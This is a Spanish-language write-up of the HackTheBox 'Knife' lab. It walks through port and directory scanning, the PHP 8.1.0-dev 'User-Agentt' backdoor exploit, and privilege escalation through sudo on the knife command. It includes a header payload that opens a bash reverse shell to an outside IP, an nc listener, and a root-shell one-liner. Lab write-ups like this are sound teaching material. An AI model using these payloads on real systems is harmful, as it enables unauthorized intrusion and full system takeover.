HackTheBox – Knife Writeup

Knife es un desafío con una complejidad fácil que verifica tus habilidades para explotar fallos de seguridad en una pagina web y  los errores de configuración de usuarios, enumeración, explotación de PHP y la escalada básica de privilegios.

En primer lugar, como siempre comenzamos lanzando un nmap para comprobar los puertos que están abiertos. 

nmap -F -sS -n 10.10.10.242
Starting Nmap 7.70 ( https://nmap.org ) at 2021-06-04 12:18 CEST
Nmap scan report for 10.10.10.242
Host is up (0.043s latency).
Not shown: 98 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds

Dado que tiene abierto el puerto 80 lo primero que hacemos en lanzar dirb y acceder mediante nuestro navegador a la pagina web.

dirb http://10.10.10.242

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Jun  4 12:19:23 2021
URL_BASE: http://10.10.10.242/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.242/ ----
+ http://10.10.10.242/index.php (CODE:200|SIZE:5815)                                                                                                                                                              
+ http://10.10.10.242/server-status (CODE:403|SIZE:277)                                                                                                                                                           
                                                                                                                                                                                                                  
-----------------
END_TIME: Fri Jun  4 12:22:43 2021
DOWNLOADED: 4612 - FOUND: 2

ya que  no encontramos nada con dfir, intentamos lanzar wfuzz y csmap pero el resultado es el mismo. No encontramos nada importante.

 wfuzz -c -w /usr/share/dirb/wordlists/big.txt --hc 404,403 -u "http://10.10.10.242/FUZZ.txt" -t 100
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.242/FUZZ.txt
Total requests: 20469

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                           
=====================================================================


Total time: 0
Processed Requests: 20469
Filtered Requests: 20469
Requests/sec.: 0

Obtener mas información sobre los servicios que están corriendo en el servidor web

nmap -sV --script=http-php-version 10.10.10.242
Starting Nmap 7.70 ( https://nmap.org ) at 2021-06-04 12:42 CEST
Nmap scan report for 10.10.10.242
Host is up (0.050s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-php-version: Version from header x-powered-by: PHP/8.1.0-dev
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Podemos ver que el servidor cuenta con un servicio Apache 2.4.41 bajo Ubuntu y PHP en su versión 8.1.0-dev.

Buscando vemos que la versión de PHP es vulnerable ( EDB-ID:49933 ) más info

searchsploit php 8.1.0-dev
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Concrete5 CMS < 8.3.0 - Username / Comments Enumeration                                                                                                                          | php/webapps/44194.py
cPanel < 11.25 - Cross-Site Request Forgery (Add User PHP Script)                                                                                                                | php/webapps/17330.html
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution                                                                                              | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)                                                                                          | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)                                                                                                 | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)                                                                            | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution                                                                                                                   | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution                                                                                                                               | php/webapps/46459.py
FileRun < 2017.09.18 - SQL Injection                                                                                                                                             | php/webapps/42922.py
Fozzcom Shopping < 7.94 / < 8.04 - Multiple Vulnerabilities                                                                                                                      | php/webapps/15571.txt
FreePBX < 13.0.188 - Remote Command Execution (Metasploit)                                                                                                                       | php/remote/40434.rb
IceWarp Mail Server < 11.1.1 - Directory Traversal                                                                                                                               | php/webapps/44587.txt
KACE System Management Appliance (SMA) < 9.0.270 - Multiple Vulnerabilities                                                                                                      | php/webapps/46956.txt
Kaltura < 13.2.0 - Remote Code Execution                                                                                                                                         | php/webapps/43028.py
Kaltura Community Edition < 11.1.0-2 - Multiple Vulnerabilities                                                                                                                  | php/webapps/39563.txt
Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit)                                                                                            | php/webapps/45083.rb
NPDS < 08.06 - Multiple Input Validation Vulnerabilities                                                                                                                         | php/webapps/32689.txt
OPNsense < 19.1.1 - Cross-Site Scripting                                                                                                                                         | php/webapps/46351.txt
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution                                                                                                                              | php/webapps/49933.py
Plesk < 9.5.4 - Remote Command Execution                                                                                                                                         | php/remote/25986.txt
REDCap < 9.1.2 - Cross-Site Scripting                                                                                                                                            | php/webapps/47146.txt
Responsive FileManager < 9.13.4 - Directory Traversal                                                                                                                            | php/webapps/45271.txt
Responsive Filemanger <= 9.11.0 - Arbitrary File Disclosure                                                                                                                      | php/webapps/41272.txt
ShoreTel Connect ONSITE < 19.49.1500.0 - Multiple Vulnerabilities                                                                                                                | php/webapps/46666.txt
Western Digital Arkeia < 10.0.10 - Remote Code Execution (Metasploit)                                                                                                            | php/remote/28407.rb
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities                                                                                                              | php/webapps/39553.txt
Zoho ManageEngine ADSelfService Plus 5.7 < 5702 build - Cross-Site Scripting                                                                                                     | php/webapps/46815.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

utilizando el exploit encontrado conseguirnos acceder con el usuario james

python3 49933.py 
Enter the full host url:
http://10.10.10.242

Interactive shell is opened on http://10.10.10.242 
Can't acces tty; job crontol turned off.
$ whoami
james

$ hostname
knife

Obtenemos la primera FLAG

$ cat ./home/james/user.txt
01bfb288b935a57399c0d91fcc969672

En caso que no queramos utilizar el exploit (a mi me dio muchos problemas después para elevar privilegios) podemos intentar explotar la vulnerabilidad manualmente utilizando ZAP o Burp Suite, para ello dejamos escuchando un NC

nc -lvp 1234

Abrimos ZAP o Burp Suite y ejecutamos una reverse shell utilizando: User-Agentt»: «zerodiumsystem(‘» + cmd + «‘) al igual que el exploit.

User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.110/1234 0>&1'");

Una vez ejecutada si nos vamos a al terminal el cual teníamos escuchando el comando ‘nc’ deberíamos tener una reverse shell.

Empezamos a enumerar y lo primero que detectamos es que el usuario  james tiene permisos mediante SUDO para ejecutar sin contraseña el comando ‘knife’ 

valiéndonos de los privilegios que han otorgado al usuario podemos elevar privilegios dado que el comando knife nos permite ejecutar comandos de sistema o scripts mediante la opción ‘exec’. Más información

Para ello, ejecutamos el siguiente comando: 

sudo /usr/bin/knife exec -E "exec '/bin/sh -i'"

Tras elevar privilegios podemos obtener la ultima flag (No se porque al copiar y pegar se repetía dos veces…)

# cat  /root/root.txt

695774b32219bb1f3f9402267b6d9607

:wq!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *